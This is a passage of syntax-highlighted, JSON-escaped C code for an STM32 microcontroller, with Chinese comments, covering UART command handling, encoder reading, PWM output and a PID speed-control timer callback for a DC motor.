class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设置目标速度和目标位置。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003espeed\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eEach_Circle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 根据模式调用MoTo函数执行相应的操作。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// MoTo 函数定义时要把屏幕传过来的 (0/1) 和 真实转动的对应正确\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 启动定时器,这样其他的中断才会发生。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStart_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 如果速度或圈数为零,就说明要停下电机。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 调用MoTo函数执行刹停电机。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重置各种参数(防止下次启动时有上次残留的值) 并且 停止定时器。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重新启用UART发送中断,以便后续可以发送数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_ENABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重新启用UART接收中断,以便继续接收数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清空UART的数据寄存器,以确保不会因为残留数据而触发接收中断。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_FLUSH_DRREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清除UART接收缓冲区非空标志位,以确保下一次接收可以正常触发中断。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_CLEAR_FLAG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_FLAG_RXNE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里读取encoder有一个坑\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 由于这个encoder是一直累加(或减,取决于电机正反转)的, 它累加到最大值(减到0) 就自动重置了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 因此你上一次读的数 不一定比 这次读的数大, 这样一算差值, 就可能出现一个极其大的负值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 为了防止这种情况, 我们就需要把这个 tim 的读数一开始(main里面就设置了)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 就设定到一个 中间数值(0和最大之间), 并且 每次读完之后都把它设定回去\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这样就能保证每次都得到一个 计算正确的 值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint16_t\u003c/span\u003e \u003cspan class=\"nf\"\u003eRead_Encoder\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint16_t\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_TIM_GET_COUNTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTIM2\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCNT\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e-=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里因为电机 正传反转 有一种情况是累加,一种是累减, 所以有正有负\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 但是计算pid并设置pwm都是正值, 所以返回绝对值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eDead_Voltage\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e160\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eSet_Pwm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eVelocity\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003e__HAL_TIM_SET_COMPARE\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eVelocity\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eDead_Voltage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 固定时间间隔的 中断控制, 每0.1秒多执行一次\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PeriodElapsedCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 读取实际转速(相当于转速)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eRead_Encoder\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 转速累和相当于总距离(实际上转速使用这个总距离做差才算出来的,前面已经解释过了)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 每次先判断是不是已经到了设定的要转的总距离, 如果是, 刹车关定时器重置相关参数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 刹车\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 停止计时器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 用PID算法计算出要设定的pwm值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里串口输出一下调试信息,方便查看\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;target: %d, real: %d, set: %d\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设定pwm值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eSet_Pwm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END 4 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief This function is executed in case of error occurrence.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval None\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eError_Handler\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Error_Handler_Debug */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* User can add his own implementation to report the HAL error return state */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003e__disable_irq\u003c/span\u003e\u003cspan 